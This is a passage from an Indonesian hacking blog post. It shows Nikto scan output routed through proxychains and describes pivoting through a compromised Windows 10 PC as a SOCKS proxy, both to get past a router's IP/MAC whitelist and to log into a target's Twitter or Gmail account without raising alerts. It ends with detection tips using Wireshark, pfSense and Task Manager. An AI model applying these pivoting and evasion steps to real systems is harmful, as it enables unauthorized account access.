|S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK
+ Target IP: 192.168.1.225
+ Target Hostname: 192.168.1.225
+ Target Port: 8080
+ Start Time: 2019-05-08 19:33:26 (GMT0)
---------------------------------------------------------------------------
+ Server: SimpleHTTP/0.6 Python/3.6.8
|S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
|S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK
|S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK
|S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK
|S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK
7Permintaan Web Proxy dengan Firefox
Dengan layanan web yang berfokus pada keamanan yang dimungkinkan untuk menetapkan aturan daftar hitam dan daftar putih berdasarkan MAC dan alamat IP. Misalnya router khusus ini hanya akan memungkinkan komputer Windows 10 untuk mengakses gateway router. Mencoba untuk mengakses 192.168.1.1 dari setiapperangkat lain pada jaringan menampilkan pesan berikut.
Sekarang, dimungkinkan untuk menipu MAC dan alamat IP Kali untuk menipu router agar kita dapat melihat gateway. Tetapi dimungkinkan juga untuk menggunakan proxy SSH untuk mencapai tujuan yang sama.
Buka Firefox di Kali dan masukkan about: preferensi ke bilah URL. Dalam "Umum," klik pada tombol "Pengaturan".
Konfigurasikan pengaturan proxy seperti yang ditunjukkan di bawah ini, lalu klik "OK."
Sekarang menavigasi ke 192.168.1.1 untuk mengakses router diizinkan karena router percaya bahwa permintaan datang dari perangkat Windows 10 yang masuk daftar putih.
Konsep yang sama ini dapat diterapkan ke situs web seperti Twitter dan Gmail sehingga memungkinkan untuk mengakses akun target tanpa menaikkan terlalu banyak tanda bahaya. Situs web ini akan melihat asal (yaitu, alamat IP) dari login yang identik dengan alamat IP yang digunakan oleh komputer Windows 10.
Cara Melindungi Diri Anda
Penting untuk dicatat bahwa ini hanya menunjukkan satu cara penyerang dapat menggunakan komputer yang dikompromikan sebagai proxy. Dalam konsepsi awal artikel ini router target dan Windows 10 firewall dimodifikasi untuk memungkinkan port-forwarding dan akses jarak jauh. Ini juga akan memungkinkan penyerang mengakses server SSH dari mana saja di dunia.
Selain itu, hak istimewa admin mungkin tidak selalu diperlukan. Tor misalnya, dapat diunduh dan digunakan tanpa izin khusus dan dapat dikonfigurasi untuk meneruskan permintaan ke layanan atau port apa pun di jaringan tanpa menggunakan server SSH atau proksi SOCKS5.
Serangan-serangan ini diuji dan dilakukan pada sistem Windows 10 yang sepenuhnya ditambal menggunakan perangkat lunak Avast dan AVG jadi saya tidak bisa merekomendasikan mereka sebagai solusi. Pembaca perlu secara aktif memeriksa proses yang sedang berjalan, mencari perangkat lunak yang teduh, dan memonitor lalu lintas yang meninggalkan sistem mereka.
1Periksa Lalu Lintas Keluar dengan Wireshark
Wireshark adalah alat penangkapan paket yang bagus yang dapat digunakan untuk mengamati paket yang meninggalkan jaringan. Jika Tor digunakan oleh penyerang misalnya, server Tor dapat ditemukan di ExoneraTor. Demikian pula lalu lintas Netcat akan mudah dideteksi dalam penangkapan Wireshark.
2Buat Aturan Firewall Ketat dengan pfSense
Sementara instalasi pfSense dapat sedikit terlibat dan teknis, ini merupakan solusi firewall open-source yang sangat baik.
3Monitor Menjalankan Proses dengan Task Manager
Solusi ini tidak selalu sepenuhnya efektif. Nama proses dapat diubah atau dipalsukan, tetapi peretas yang malas dapat membiarkan nama file ini sebagai default (yaitu, "tor.exe"), membuatnya lebih mudah untuk dideteksi pada sistem Windows 10 yang dikompromikan. Di bawah ini adalah contoh proses OpenSSH dan Tor yang berjalan di latar belakang, mudah diidentifikasi dengan Windows 10 Task Manager.
Tetap waspada. Jangan pernah meremehkan Anda layak menjadi peretas, dan terus menemukan cara baru untuk melindungi diri sendiri.
Comments
Post a Comment
WeLcOmE TO My SiTeS